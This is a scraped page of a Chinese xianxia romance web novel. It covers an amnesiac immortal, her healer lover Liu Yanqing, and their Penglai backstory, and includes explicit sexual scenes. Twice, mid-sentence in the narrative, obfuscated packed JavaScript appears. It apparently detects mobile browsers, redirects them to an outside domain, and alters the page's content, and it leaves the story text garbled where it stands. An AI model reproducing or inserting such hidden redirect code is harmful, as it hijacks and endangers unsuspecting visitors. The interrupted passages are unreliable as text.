《仙君总想把我推给情敌》 1. 柳下砚清 旷野无垠,魂魄碎裂。 黑云压低,亡魂在岩板下哀嚎。每一步,血肉都被滚烫的岩浆剥落。 视野被血雾笼罩,喉间弥漫着铁锈般的腥甜。 蝇群的振翅声钻入耳膜,吵死了…… 三千年漫长仙生突然扭曲,浮现出无数重叠的“我”: 第一世,他隔岸观望,眼看着我送死;第二世,我诅咒与他至死不见,而他当真做到了。 “真就是个无情的仙人呐……” 我用力紧闭双眼,又睁开,哪怕一遍一遍重复着相同的动作,视野只变得更暗。 当江风终于吹散血雾时,我的双腿已露出森森白骨。 旷野上的蜉蝣嗅着血腥围上来,钻入耳鼻啃食内脏。 朝生暮死的蜉蝣,活得比神仙长。 黑暗吞噬视野前,指尖触到腰间的匕首——那个被风沙磨旧的“贺”字,似乎还残留着他指尖的温度。 “若我不在,就让此刃护你周全。” 多讽刺啊,从未想过如今它会刺向自己的心口。 “第一次没能救下你,第二次……我还是没法做到……” 向我许下一生诺言的十九岁少年,像是受了某种诅咒,总在与我只差一点走向终局时,与世长辞。 是因为我没有心甘情愿地答应他? 辜负真心的人,要用性命去偿还? “抱歉……如果可以,我想忘记一切……连同你的所有记忆……” 刀刃离心脏只剩一寸时,我的手腕被狠狠扣住。 熟悉的药香混着血腥气缠上来,耳边响起一声叹息:“你还是选择了这条路。” “谁?!” 刀被人夺走,甩到了很远的地方,与地面的石块撞击时发出清脆的声响。 “捅这里,可就一点活过来的办法都没有了。” “什唔——” 一瞬间,炙热的唇像是终于忍无可忍地吻上了我的。 最初浅尝辄止的吻,渐渐掺杂入强烈的侵略、眷恋以及……不舍。 双唇被撬开,湿热的舌长驱直入。 这个吻带着久违的温度,让我混沌的意识骤然清醒。 所有与他有关的记忆如潮水般涌来。 争吵一别后,临死才再相见的人。 我挣扎着推他,却被他扣住后脑加深。血腥味在唇齿间蔓延,不知是我的还是他的。 “砚清……” “我在。” 答应我的呼唤后,又是一个毫不怜惜的厮磨。 他为何还吻得下去? 他不该怨恨我,嘲笑我死有余辜吗? “要你娶我,你不肯……我真以为你在报复我风流成性,又去找了八个男人。不对,是七个。” 我说着语无伦次的话,在晦暗的风中伸出手,想象着他站在我眼前的样子,描摹出他的轮廓,缓缓将手抚上。 温暖的脸颊被我冷冰的手刺激了一下,但不躲开。 “砚清,你恨我吗?” “以前……恨的。” 听见答案,我苦笑了一声,自嘲道: “早在我向你求婚时,就该骂我一顿的……主动逃婚的人,有什么资格又向你求婚!” 掌心下的头摇了摇。 “你知道的。哪怕你与别人双宿双飞,我依然可以陪着你。” 也得亏我听惯了他的疯言疯语。 一并疯魔的人,竟生出一丝雀跃。 “砚清……我要死了……我又要死了……我还不想死……” 还没和你体验够人世间最欢愉的情爱,我还舍不得离开。 只在梅林、竹林、山林……都还不够。 “不许说死字。” 三百来岁仙人的语气淡淡的,听不出任何波澜。 我咬着唇,不断抽噎。 “可我,真的要死了……下一次轮回,我可能会把你也忘了……不是另一个你,是此刻站在我面前的你……” 说出的每一个字,断断续续地从嗓音里冒出来。 止不住眼泪,控制不住发抖。 我怕死,又不想背负一身情债苟活。 九个男人,足够多了。 温热的手掌附上我的脸颊,蛮狠地擦掉我脸上挂满的泪水。 “说了不许说死字。” 厉声吓得我噤声,感觉他似乎轻笑了下,随即人被温柔地揽入怀中。 “我还在,不许擅自给自己下判书。你去地府,我就找阎王要人。你去天界,我就找天君要人。上穷碧落下黄泉,我都会找到你。” “砚清……” “嗯,我在这儿。” 曾几何时,蓬莱仙岛的南风仙子偷阅禁书后,那颗被囚禁三千年的心便坠入凡尘。 舍弃姓名,用谎言编织谎言,欺骗着凡人淳朴的爱恋。 风流一生的仙啊,以为人间情爱仅是欢愉,直到遇见“他”才知痛楚。 桑竹仙子临终前预言,他们是我此生跨不去的情劫。 却没来得及告诉我,这劫是会葬送一生的。 “风知归途偏弄弦,卷尽繁花过画檐。白梅噙霜墨,柳絮缠旧年。” 人间的歌谣唱着孤独的灵魂。 一世约定,世世如期。 传说西洲是座孤岛,与旷野隔江相望。岛上白梅终年不谢,住着能令人起死回生的氏族。 千百年来,求渡者或暴毙江畔,或沉尸浊浪,却仍有人前赴后继,只为求生。 关于孤岛的秘密,至今未解。 不同江边磨人的寒风,起伏的胸膛是温暖的。 药香萦绕,总能抚平躁动的心,同从前无数次一样,抚平我的伤痛。 蜉蝣啃食的痛感淡去,但我的眼睛彻底看不见。 他俯下身子,贴在我的耳畔。肌肤接触的地方没有燃起,反倒越发冰冷。 “抱歉。” “对不起……” 迟来的道歉声重叠在一起。 我将脸埋进他的身体里:“抱歉,跟你赌气,到死才肯见你……” 双目失明的情况下,我的耳朵变得灵敏。耳边传来他平稳轻微的呼吸,一起一伏都打在我的心上。 他说:“怪我。分明思念成疾,却不敢见你。” 彼此思念的人执拗到到死才舍得出现。 无药可救。 视野里无尽的黑暗中,亮起了一束光。逐渐恍惚的意识中,我好像看见了医鹿山满山的竹林和白梅。 转瞬间,竹节开花。 宣告死亡的花原来那么美。 我听见骨骼碎裂的声音,好像是我的…… 身躯变得轻盈,好似不久,我会成为透明的薄雾一般消弭天地间。 我好像……有些困了…… 身侧,他的手与我十指相扣。我越是使不上劲儿,他的手就更用力。 “你的手……变冷了……” 只是六个字,我用尽了力量才说全。 温暖之人的身躯逐渐冰冷,两只没有温度的手扣住彼此,冰霜覆盖,似乎要我们不再分开。 最后的意识里,当所有想与他说的话,在内心表述完全后,有什么从脑海中抽离——他的名字、他的脸、甚至那句“不许说死字”的怒意。 这是在……流失记忆? 如果还能醒来,我会记忆全失?还是,我再也不会醒来? “……我们说好的……别忘……” 他没有回答我,偏过头在我耳垂处轻轻一吻。 这个吻……算他,答应我了吧。 混沌中,有人轻叹: “执迷不悟、不学无术之人,死了两次还不够。再有下次,可真就死无葬身之地了。” 再睁眼时,已是人间秋色。 我仿佛在黄泉路上走了一遭,重返人间时,连窗纱透进的微光都刺得眼睛生疼。艰难地支起身子,骨骼发出不堪重负的脆响。 这是睡了多久…… “姑娘醒了!” 清脆的嗓音突然响起。 我眯着眼看去,一个约莫十五六岁的小姑娘提着裙摆飞奔而来,扑到床前将我细细打量,绽开笑容:“太好了!我这就去禀告师尊——” “等等!” 见她要走,我一把攥住她的手腕。 “什么师尊?” 小姑娘眨着眼,满脸困惑:“姑娘可是饿了?厨房正——” 我揉着太阳穴,打断她的话:“不是不是,我头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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第二盏无色的茶递来。甘霖入喉,瞬间化开苦涩,清甜萦绕舌尖。 “好好喝!这是什么水?”我回味着口中的甘甜忍不住问道,“没有颜色,却有甜味,莫非是糖水?可普通的糖水能瞬间缓解苦味吗?” 他闻见我的喋喋不休,嘴角微微上扬。 “是甘露。所以,今日又是闹哪一出?学着清雨和如雪叫我师尊。” 我眨了眨眼,有些茫然,歪了歪头。 “清雨和如雪是谁?” 笑意倏忽消散。他凝视我良久,茶烟在彼此间缭绕。 “你不记得了?” 我摇摇头。他盯着我看了许久,似乎在判断我是否在说谎。 我咬唇努力平复内心的慌乱解释道:“我……我刚醒过来,脑子一片空白,真的不知道您说的是谁……方才照镜子,甚至看着自己的脸,诧异了许久……” 越说越小声,越说越没底,就像是给自己洗脱罪名假装失忆的人。 等等,失忆? “对啊,我好像是失忆了。” 我脱口而出,半晌才反应过来说了句了不得的话。 一手捂着脑袋快速翻找从前的记忆,结果一片空白。 “我……怎么会没有记忆……” 手中精致的茶盏在慌乱间掉落地面摔成粉碎。 “我是谁?我在哪儿?我——” 胸口突然如坠千斤,血腥气漫上喉头。那些被蚕食的记忆化作黑雾,在脑海中翻涌绞紧。 一双冰凉的手突然将我拉入怀中。药香沁入鼻息,他掌心贴着我的后背,声音沉静如深潭。 “莫要强求,平稳心神。” 眼前的人似乎有种让人平静下来的法力,我靠在他的怀里闻着药香渐渐平复下来。泪水洇透他衣襟时,听见一声几不可闻的叹息: “为何每次归来……都将我忘尽。” 窗外积雪从松枝滑落,惊起鹤唳云霄。 “每次?” 我仰起挂满泪水的脸,他抬手拂去我眼角残泪。 “罢了。早该猜到会是如此,那便如你所愿——” “我们……重头来过。” 2. 一枕春醒 寒月如刃,药汁入喉。安神的汤药倒像穿肠毒药。 我怔怔望着水面,仙人的倒影在涟漪中扭曲变形。 他静坐青石,白衣胜雪,墨发垂肩。我学着他的模样盘坐岸边。 泥炉茶沸,白雾裹挟花香,与他衣袂间的药香纠缠。 “师——” 药力压着万千疑问浮起又沉没。 唯独双眼不听使唤,总往那抹白影瞟去。 分明是副冷心冷情的模样,偏叫人移不开眼。 柳砚清,他说,是他的名字。 我的偷瞥终是惊动了他。他无奈睁眼斟茶,浓色茶汤在盏中漾开涟漪。 “苦,不喜欢。”我有气无力地喃喃。 “洱茶,你最喜欢喝的。” “是吗……” 记忆空茫如这潭水。湿透的裙裾黏在腿上,凉意渗骨。 “师尊……” “不许叫我师尊。” 兴许他转念一想,不该对失忆之人如此冷漠,又放软态度。 “我为什么会没有记忆?为什么您会知道我喜欢什么?为什么不许我叫您师尊?” 柳砚清没有回答,只是默默饮了口茶,目光落在我的裙摆上。 “湿了。” 我顺着他的目光看去,将裙摆从水中提起,水珠滴落,落在肌肤上缓缓滑落。 柳砚清看看我,默默收回视线。 “师尊,我冷,有些困,想睡了。” 他没作声。 我假借困意往他身边凑了凑,见他并未躲闪,头轻轻靠在他盘起的腿上,蜷缩起身子阖上眼。 恍惚看见血色旷野里,有人用沾满这香气的手捂住我溃烂的伤口。 “好痛……师尊……” 我转过脸,鼻尖埋进他的衣裳,只想把这股味道浸入骨子里。 恍若某个前尘旧梦,耳边是他轻柔的呼吸声,鼻尖萦绕着草药的清苦与花香。 渐渐地,困意袭来。 医鹿山侧山的洞穴深处,供奉着一尊来历不明的神像。 与前山香火鼎盛的医仙殿不同,此处石壁爬满古老符文,据传来自蓬莱。 初醒的我连自己姓甚名谁都记不清,更无心探究这些仙家渊源。每日只是乖乖按柳砚清的嘱咐服药、打坐、发呆。 他说我心神不稳,稍有不慎便会殒命。 也不知是嫌我聒噪的借口,还是真有这么回事。 这日,柳砚清外出前,难得温言让我去山洞静修。 “若诚心祈愿,或得神助。” 还特意为我备了软垫。 但我那句脱口而出的“多谢师尊”,果然又惹他蹙眉。 “别生气嘛,师尊你看你,都有皱纹了。” 我伸出手指欲要点上他的眉间,却被他闪身躲过。 尴尬的手指僵在半空,讪讪收回。 山洞幽邃,滴水声渐远。 神像四周干燥如春,与来时的阴湿判若两界。 我学着柳砚清的模样闭目盘坐,恍惚间魂魄似要离体飞升—— “莫非……我要成仙了?!” 一阵困意猛然袭来,如潮水般将意识吞没。 且睡且珍惜,有瞌睡的时候自然要睡。 岩壁沁凉,坠入梦乡前,耳畔忽闻神像低语: “重生者啊,失忆者啊。” 声音空灵诡谲,惊得我骤然睁眼! 抬头望去,神像依旧静立,石唇未启。 “幻听?” “呼——” 陡然放大的鼻息在洞中震荡,似千军万马围剿而来。毋庸置疑,声音是从神像传来。 我指尖发颤地触向神像,却摸到一片湿冷。 当真我真的见鬼了?! “放肆!” 这声音竟在回应我的腹诽?! “砚清没告诉你?神若闻心声,或可相助。” 说是说了……可谁能料到是这般骇人的场面! 或许是汤药安神的缘故,惊惶渐散。 我强自镇定,端坐蒲团,与神像无声对峙。 纵是幻觉,既是柳砚清引我来此,必有深意。 信他,成了我混沌记忆里唯一清晰的执念。 “可还记得自己的名姓?” 神像的声音裹着回音,在岩壁间碰撞。 “全忘了,只剩吃饭睡觉的本能。” “记忆不会无故消失,只是暂时想不起而已。” 话音方落,一束金光炸裂!空中倏地浮出一卷悬轴。 我扑身欲抓,却听神像冷嗤:“区区卷轴便失态至此,成何体统!” 卷轴应声而收,我还没来得及看清一个字,神像便漠然道:“此乃神器御使之法,料你也无心细看。” “您不能口述吗?” “不能。” “那我如何用?方才我可什么都没看见。” “动脑子,自己想。” “……” 这是动动脑子就能想出来的东西吗! 僵持半晌,神像终是妥协,卷轴重展。 我忙不迭俯身细读:“重生者需完成遗愿,否则——” 文字戛然而止。 我抬头试探问道:“能……不要这差事么?” 回应我的是一道不容抗拒的金光。 流辉中飞来一枚神石,化作青竹发簪——恰是我素日偏爱的式样。 可这“厚礼”……分明是强塞的烫手山芋! “寻九名男子,觅回真名,方可唤醒记忆。神器自会指引。” “九名?!您确定是男人,不是龙珠?” “放肆!休得胡言!” “……是。” 这到底是神像还是我爹啊。 “记住,找回真名前,别又死了。” “又?” 神像的声音突然变得断续,仿佛被什么干扰。接着,两个陌生的声音插了进来。 清冷的女声急切道:“让我和她说两句!” 腼腆的男声争执着:“不,让我说。” “胡闹!滚出去!” 神像一声怒喝,所有声音戛然而止。 这尊神像里究竟藏着多少神? 九男、真名、记忆,这哪儿是脑子空空之人能胜任的艰巨任务啊! 但我似乎别无选择。 “那个……神像?不要因为我吵架哟,我走了哈,不出意外,应该不会再来了。告辞。” 我又举了举手中的发簪,“神器我收下啦,多谢。” 转身时,隐约听见神像里传来一声轻叹,似无奈,又似怜惜。 寻遍药房院落,仍未见柳砚清踪影。 只见初日那对少年少女正在药架前忙碌,想必就是砚清提过的清雨与如雪。 我轻叩门扉:“请问,师尊可在?” 少女闻声抬头,遥指远处山崖。忽又轻声问道:“姑娘近日可好些了?” “好多了。” 话音未落,一旁整理药篓的少年突然蹙眉:“姑娘当真全忘了?似清雨,却如雪?” 我露 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他截断话语的声音比山风还冷。我怔怔望着他侧脸:“师尊怎么知道的?” 话出口便明白了——能救人性命的仙人,又怎会猜不透这点心思。 “虽然捡回条命,可记忆全无。下山走走,或许能想起些什么。就算想不起,也能攒点新回忆。” 柳砚清指尖轻点我额头:“就这般去?打算沿路乞讨游历么?” 没有盘缠,怕是走不出成都府就得饿死。 我扑通跪地:“求师尊指点!” “修道之人,身无长物。” “啊!是弟子失礼了。”我讪讪改口,“忘了仙家穷——咳咳,不沾铜臭。” 茶盏轻叩,他忽然道:“况且,我尚未准你下山。” “啊?” 我僵着滑稽的姿势抬头。他拎着我手腕拽直身子:“你的命既是我救的,去留自然由我定夺,不是吗?” “是是是,那师尊的意思是?” “不准。”他墨发被山风撩起,“还有,不许唤我师尊。” “为、为何?!” 我在这山上白吃白住,整日闲得无事可做,不该赶着我走吗! 他侧目睨着我说道:“就凭你现在下山必死无疑。天色不早,先用膳吧。” 我眨眨眼,茫然追上他离去的背影。 “对了师尊,我们是怎么认识的?” 柳砚清望向远山,沉默半晌忽然吟道:“蓬莱院闭天台女,画堂昼寝人无语。抛枕翠云光,绣衣闻异香。” “妙啊!师尊写的诗吗?” “不是。前朝诗人所作的情诗。” “哦!情——啊?什么诗?情诗?!” 我们二人的相识与情诗有关?!就算是此情此景有感而发,也完全不搭调啊。柳砚清为何突然念起这首诗? 脑海中不受控制地浮现出荒唐画面: 素来清冷的仙人将我按在书案间,玉冠散落……我缠在他腰间的腿不自觉磨蹭他的敏感处…… 啊啊啊啊啊啊啊啊啊!!!!!! 我倏地两掌拍上发烫的脸颊,“啪”的一声引来柳砚清的注意。 “脸怎么这么红?病了?” “啊?是、是山风太燥!” 我慌忙背过身去,生怕被他看穿那些大逆不道的遐想。 3. 初绾云鬟 【逆梦归尘】 蓬莱时间百余年,年轻医者求学蓬莱。 东海仙岛,月明云淡露华浓,明明暗暗。为寻书阁,不知闯入蓬莱第几宫。 推门而入,花香萦绕,似竹香,又似莲香。 “想不到蓬莱第几宫竟有如此盛景……” 竹林似海,随风如波。 穿越竹林,凉亭旁一池蓝紫莲花与萤火的美景映入眼帘。 一旁的屋内,窗棂内传来浅浅呢喃。 白衣胜雪的年轻医者推门,身后的月光照进屋内,遍地狼藉,上古书籍肆意散落。 他一步一拾,从门前不知不觉立于珍珠制成的珠帘前。 抬手拨开,只见床榻上的仙子抛枕而眠,乌黑的头发披散,且散发出阵阵异香……是年轻医者从未闻过的香,只轻轻一嗅,便此生难忘。 还有那张宛若九天神女一般的容颜,拉扯着他的心弦,似乎有什么在隐匿生长。 炙热的眼神打扰了睡梦之人,扰人清梦。 仙子睁眼,四目相看。 如期的狼狈并未显现,仙子的脸上慢慢从诧异变为笑脸盈盈。 “我认得你,近日来岛求学的。自人界神山而来,医仙葛榆的养子,名为……” 年轻医者拱手行礼。 “在下砚清,大仙赐予柳姓。蒙天君垂怜,得拜赤方神仙座下学习医术。” 仙子起身,轻纱离肩,露出半身春光。 柳砚清连忙转身,致歉后准备离开。 仙子一甩手中的羽带,缠上柳砚清的手腕。只需一带,他手中的书簌簌落地,仙子勾起的唇角,鲜嫩娇贵的玉肤赫然出现在他眼前。 口鼻呼出的热气打在仙子的身上,撩起一阵旖旎的喘息。 滚烫的肌肤泛起红晕,柳砚清的眼神如何躲闪,总会不自觉地落向身下之人。 无奈,只好闭眼。 仙子盈盈笑道:“闭眼做什么?” 冰冷的指尖描摹柳砚清的眉眼、唇线、脖颈……如同描绘一幅旷世绘卷,每一笔都细腻轻盈。 手腕被羽带紧紧缠绕,根本无法脱身。 柳砚清的双手撑在仙子的身侧,愈发颤颤巍巍,险些压上仙子的身体。 仙子笑着,抬起外侧的一条腿,膝盖顶上柳砚清的腰腹,带着他翻了个身,调换了阵营。 “砚,清……” 仙子一字一顿念到医者的姓名,跨坐在他大腿之上,指尖还在继续作画。 “研墨和之濡也。无污之净。” 口中品读着砚清的名字,仙子回味之余喃喃道:“不知砚清你,是喜欢研磨时沾染的墨汁,还是山泉流淌的清净呢?” 柳砚清没明白仙子的意思,单凭表面意思回答。 “墨。” “墨啊……” 仙子了然一笑,指尖停止描摹,翻转掌心变化出一支沾有墨水的笔。 “还以为你更喜欢清水。不过也省了事,把这床榻弄湿,可就麻烦了。” 话音落下,仙子拿起手中的笔,以柳砚清的身子作纸,褪去碍事的衣裳,开始从上至下勾勒线条。 柳砚清皱眉咬紧牙关,默默承受着,内心却随着笔触越发燥热。双手颤抖着,两眼紧闭不敢睁开一点。 倏地,他攥住她的手腕,呼吸灼热却哑声道:“仙……仙子……可以了……仙子若再动……砚清恐犯大错。” 仙子恼着打开他的手,“欸,你别动,还没画完呢,待会儿画歪了。” 柔软的笔尖一遍一遍扫过敏感的位置,柳砚清从未觉得一夜如此漫长。 仙子丢开手中的笔时,饥饿已久的困兽终于抓住了反击的绝妙机会,转守为攻。 砚清抽过仙子手中的羽带,在仙子懵然中,捆绑住她的双手,轻而易举将她整个人揽进怀里,吻上她水润的双唇,吮吸她起伏的肩头。 “你!” 仙子恼羞成怒,呵斥道:“放肆!胆大妄为!你知道我是谁吗!” 怀中之人双手被禁锢撑在自己的胸膛,手肘下是她刚绘完的经脉图。 柳砚清不知餍足地亲吻仙子的唇,吞没她的喋喋不休。 濡湿的呼吸混合着仙子的呜咽,直到双方的嘴唇都隐隐开始作痛。 柳砚清抬手擦拭仙子嘴唇上自己的痕迹,顺手摩挲娇嫩的唇瓣。 “确实不知仙子姓名,敢问是何方仙子?” 仙子心疼地舔舐自己略微肿胀的唇,生气地别向一边。 见仙子不肯说,柳砚清也不追问。 欲壑难填的人啊,只想着一件事。 放荡的舌撞了进来,柔软的唇瓣紧贴摩挲着,来势汹汹地翻搅,仿佛怎么都填不满。 “看仙子的模样,还以为是熟手。不曾想——” “闭嘴!你说谁是第一次!” “在下什么也没说,是仙子自己说的。” “你——!” 那之后,年轻的医者又在耳边唠唠叨叨说了什么,现在什么也不记得什么也听不清。 事后回想起来,能被记住的皆是声似两脚在半空拍打的声音。 直到东海之上的明日高悬于天。 柳砚清看着身旁熟睡的仙子,打算等她醒后问到姓名再离开。 苏醒过来的仙子闷哼着朝他身上蹭了蹭,感知到自己寻求的热源是一个活生生的人后,仙子猛地睁开眼,看向头顶深邃的眼眸,吓得连连后撤。 “砚清还不知仙子姓名。” “就、就为了问我的名字,你一直在此?” 柳砚清点头,答道:“若不能知晓仙子的姓名,砚清恐怕接下来的日子都无法专心学习了。” 仙子肉眼可见脸庞染上红晕,埋下头,估计是恼羞,额头轻轻撞了下柳砚清的胸口。 “西风,我的名字,知道了就快走吧。” 仙子又蹙了蹙眉头,从被窝里抽出手一把将柳砚清推下床去,还不忘踹一脚。 柳砚清早知道“西风”并不是仙子真正的名字。 蓬莱仙岛有一道行颇深的大仙,大仙有四个孩子,在仙岛也是有名得很。与掌管风雨雷电的四位神仙毫无关系,不过是大仙酒后兴致大发随口乱取的。 大哥北雷真君,因痴迷人界闲书话本而闻名仙界,虽法力高深,却孤寡了几千年。 二姐东婝元君,仙界“摄魂天女”,护短至极,无人敢娶。好不容易成亲了,结果丈夫被欺负得躲去了霜洲地界。 三弟西雨真人,自出生起未曾踏出蓬莱仙岛半步。 至于四妹南风嘛……众仙给出的答案如出一辙——“一言难尽啊。” 柳砚清不过打听了一句岛上最蛮横美艳的仙子是哪位,所有人给出的答案都是同样的四个字。 南风仙子。 蓬莱仙岛的黄昏总是格外漫长,似乎和某位执掌时序的大仙心情息息相关。 夕阳将海面染成金色,浪花拍打着岸边的礁石。柳砚清沿着海岸漫步,绀青色衣袍被海风轻轻扬起。 远处礁岩上,南风仙子抱膝而坐。淡青纱裙被海风掀起涟漪般的褶皱,羽带如流云般缠绕着她纤细的腕骨。咸涩的海风裹挟着她身上清冽的竹香,在柳砚清驻足时钻入他的鼻息。 柳砚清主动上前问候道:“仙子今日身子可有什么不适?” 南风仙子猛地回首,怒视柳砚清,赤足踏着礁岩起身。 “好个不知礼数的凡人!你们人间的圣贤书,莫非没教过你非礼勿视?” 柳砚清一怔,连忙拱手。 “是在下冒昧……只是见仙子独立潮头,难免挂怀” “哼。” 南风仙子还在气头上,抱着双臂上下打量着他。 “看你一副知书达理的模样,想不到内里竟是个禽兽!” 柳砚清被这话噎住,无奈望着岩石上的人。 夕阳的余晖映在南风仙子的脸上,将她气恼的神情衬得生动。她的眼睛像是盛满星光,此刻因为愤怒而更加璀璨,更讨他欢喜。 “仙子误会了,在下只是见仙子独自在此,担心——” “担心什么?”南风仙子打断他的话,“担心我想不开跳海自尽吗?区区一个几百岁的小仙就能气死我不成?!” 她说着,竟真的往岩石边缘迈出一步。 柳砚清心头一紧,下意识伸手去拉她。 南风仙子却突然转身,裙摆在空中划出一道优美的弧线。 旋即,缓缓落在柳砚清身边,扬起唇角笑得狡黠。 “看把你吓的。怂。” 柳砚清这才松口气。 “不过,”她突然回头,“你刚才是不是想抱我?昨夜在榻上还没抱够?” 柳砚清咽下嘴边的话,耳根发烫。 潮声震耳欲聋,海风扬起她的发丝,夕阳下南风仙子的笑容比晚霞还要明媚。 柳砚清看着她的双脚踏着白沙,突然想起昨夜这双玉足是如何缠在自己腰间的。 情愫翻涌。 自海边相遇后,柳砚清总能在仙岛的各个角落偶遇南风仙子。 有时她躲在蓬莱第几宫竹林深处偷看禁书;有时她在藏书阁打瞌睡,醒来时发现身上披着他的外袍;更多时候,她会在黄昏时分出现在海边,赤足踩着浪花,等他来寻。 “砚清。” 南风仙子头也不回,明显声音里带着笑意,“我想去看遍世间所有的花花草草,然后画下来。说来,我还没见过六十年一期的竹子开花呢。” 柳砚清走到她身边,将手中的一枝白梅赠与她。 “白梅,送给仙子。仙子不妨从眼前的梅画起。” 南风仙子接过白梅,歪着头看他,问道:“你们行医之人,都这么会讨姑娘家欢心吗?还是说,只有你?” “仙子何出此言?” 她转身背对着他,双手背在身后。 “我听说你每日课后都会去给那些身子不适的仙子疗伤,还会偷偷给凡间百姓送药。” “悬壶济世,不问缘由。” “可我不是你的病人,”南风仙子突然凑近,“你为何对我这般上心?” 柳砚清下意识后退半步,羞涩道:“仙子与他人……不能相提并论。” “是嘛。原来,我是个不值一提的。” 见仙子哼了一声转身要走,柳砚清鬼使神差地抓住她的手指。南风仙子没有回头,也没有挣脱。 “仙子于我,有种说不清道不明的……冥冥之中的注定。” “……” 僵持片刻,南风仙子突然甩开他的手,举起手中的白梅,轻敲柳砚清的臂膀。 “我累了,就此别过。” 南风仙子刚走出一步,柳砚清又将她猛地拽回身前。 “仙子生气了?” “嗯——也许吧。” 柳砚清沉下气,突然将人打横抱起。 “你——!干嘛!放我下来!放手啊!” “仙子不是说累了?我抱你回蓬莱第几宫。” “你疯了吧!松手!我叫你松手啊!喂!你不要清白我还要啊!!!!!” 夜色朦胧,柳砚清正在书房翻阅医书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056716|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,南风仙子不管不顾直接推门而入,手里端着一壶刚温好的酒。 她走到他身后,凑上前看了眼柳砚清手里的书,二话不说夺走书扔到一旁。 柳砚清唇角微扬,宠溺地视线紧随身后之人。 南风仙子甩甩手,绕到他面前,将酒壶放在桌上。 “陪我喝酒,我就原谅你。” 柳砚清无奈摇头,将桌上的纸笔砚台推至一边。 “仙子这么好兴致?” 两只酒碗,酒香弥漫。这壶酒可是眼前的仙子整日无事可做,闲暇时自己酿的。 数年的辛苦,也算派上用场了。 南风仙子凑近他,指尖轻轻点了点他的胸口。 “我在想,外人都说你是个不食人间烟火的仙人,清心寡欲,谁知道……”她故意拖长了音调,“内里是个‘衣冠禽兽’呢。借着酒,我让你原形毕露。” 柳砚清闻言,故作镇定。 “看来仙子今晚想来个一醉方休?若醉能解仙子心结,砚清愿奉陪至天明。” 南风仙子笑得更加开怀,索性坐到他腿上,双手环住他的脖颈:“灌醉你之前,我绝对不会倒。更何况……”她凑到他耳边,压低声音说了句什么。 柳砚清轻咳一声,别过脸去:“仙子莫要胡言。” 南风仙子不依不饶,故意板起脸:“说错了?我可没见过像你这般的行医者。就不怕破了戒,毁了道行?” 柳砚清叹了口气,伸手将她揽入怀中。 “我是行医人,不是出家人。凡人该有的七情六欲,我不比别人少一窍。” 掠夺般的吻迎上仙子的唇,蛮横无理,仙子生起一丝怒气,狠狠咬在他的唇上。 他吃痛倒吸一口气,扣着她腰的手也随之紧了紧。 “又生气了?” “是气还没消。” 他笑着又吻上。唇舌的厮磨看似势均力敌不分上下,可不多时,仙子率先败下阵。 仙子怒着睁开束缚,高高仰起头大口喘息。身体后仰,怕自己掉下去,仙子只好收紧环在柳砚清脖颈上的手臂。 “怎么抱这么紧?” “热……” “热?那不该——” “不许说!” “好,不说。那,不如再抱紧些。” 他环上仙子的腰,两人从椅子上起身。 桌上的酒壶被压在下方的羽带掀翻,酒壶倾倒,清色的酒液顺着桌沿流淌,浸湿了摊开的医书和药方。墨迹在纸上晕染开,字迹模糊成一片。 仙子惊呼,慌忙伸手去扶酒壶,却被柳砚清一把扣住手腕。他的掌心温热,力道不重,却让她动弹不得。 “别动。” 仙子抬眸对上柳砚清幽深的眼眸。月光从窗外洒落,在他眼底映出点点碎光。她忽然觉得有些口干舌燥,下意识舔了舔嘴唇。 这个细微的动作却像是点燃了什么。 柳砚清的眸光一暗,扣着她手腕的力道加重了几分。 仙子感觉到他的呼吸变得急促,温热的吐息拂过她的耳畔,激起一阵颤栗。 “砚清……” 柳砚清没有回应,而是仰头吻住了她的唇。 这个吻来得突然而热烈,带着酒香的醇厚和药草的清苦。南风只觉得天昏地暗,整个人软在他怀里。 酒液还在流淌,浸湿了清冷的地。柳砚清浑然不觉,他的手掌顺着她的腰线游走,所过之处激起一片火热。 南风仙子忍不住轻吟出声,双手攀上他的脖颈。 “砚清……不在这里……” 话未说完,柳砚清带领她走向柔软之地。 夜风拂过,带来阵阵酒香。月光依旧温柔地洒落,将这一室旖旎染成银色。 “除了白梅,我还要向你讨一件东西。不许拒绝!” “仙子讲。” “天上的星星。” 呼……呼…… 蓬莱仙岛的四季似乎随着某位大仙的心情而变化,白日里还如秋日的黄昏,磨人燥热。 此刻,春雨随风潜入夜,划过山峦沟壑,蜿蜒水河淌过淋漓春色。 浅蓝色的羽带肆意搭在柳砚清的臂弯,缠绕上他的指尖。柔软的丝绦在他指节间游走,像一条狡黠的灵蛇,轻轻蹭过南风仙子的腕骨。 仙子蹙眉,还未及反应,羽带便倏然收紧,绕上她的手腕。 柳砚清低笑一声,指尖一挑,羽带另一端便缠上头顶床榻的雕花间隙,将她双手缚住,举过头顶。 “你——”她嗓音微哑,似恼似嗔。 滚烫的指尖抚过她的下颌,眸光幽深如夜海。 “不是要我原形毕露?” 雨点声渐密,烛火摇曳,映得雕花床榻上的影子交缠错落,羽带在晃动间泛着微光,似星河垂落,将她困在这方寸之地,再难挣脱。 他欺身近了些,伏在仙子耳边低语。 “听闻仙子前些日子去凡间收了几本书……可否给我讲讲书上的内容?” “书中讲的,可不及你有意思,给我讲讲你的事呗?” 柳砚清浅笑着慢慢撑起身,抚摸着仙子细嫩的玉肤,与她相视。 “好啊。几年,几十年,几百年,你想听,我便悉数讲给你听。” “那如果我突发意外,把你忘了呢?或者觉得你不够有趣,找了别的男人?” “岂不正好,把你的事一一讲给你听。让忘了事的你听听,名扬四海的南风仙子,是何等风流之人。” 此时,距离南风仙子第一次奔赴旷野坠江而亡,还有两年半。 4. 暗香疏影 医鹿山隐于西蜀云深之处,传闻有神鹿引路者,方得见山中仙人。 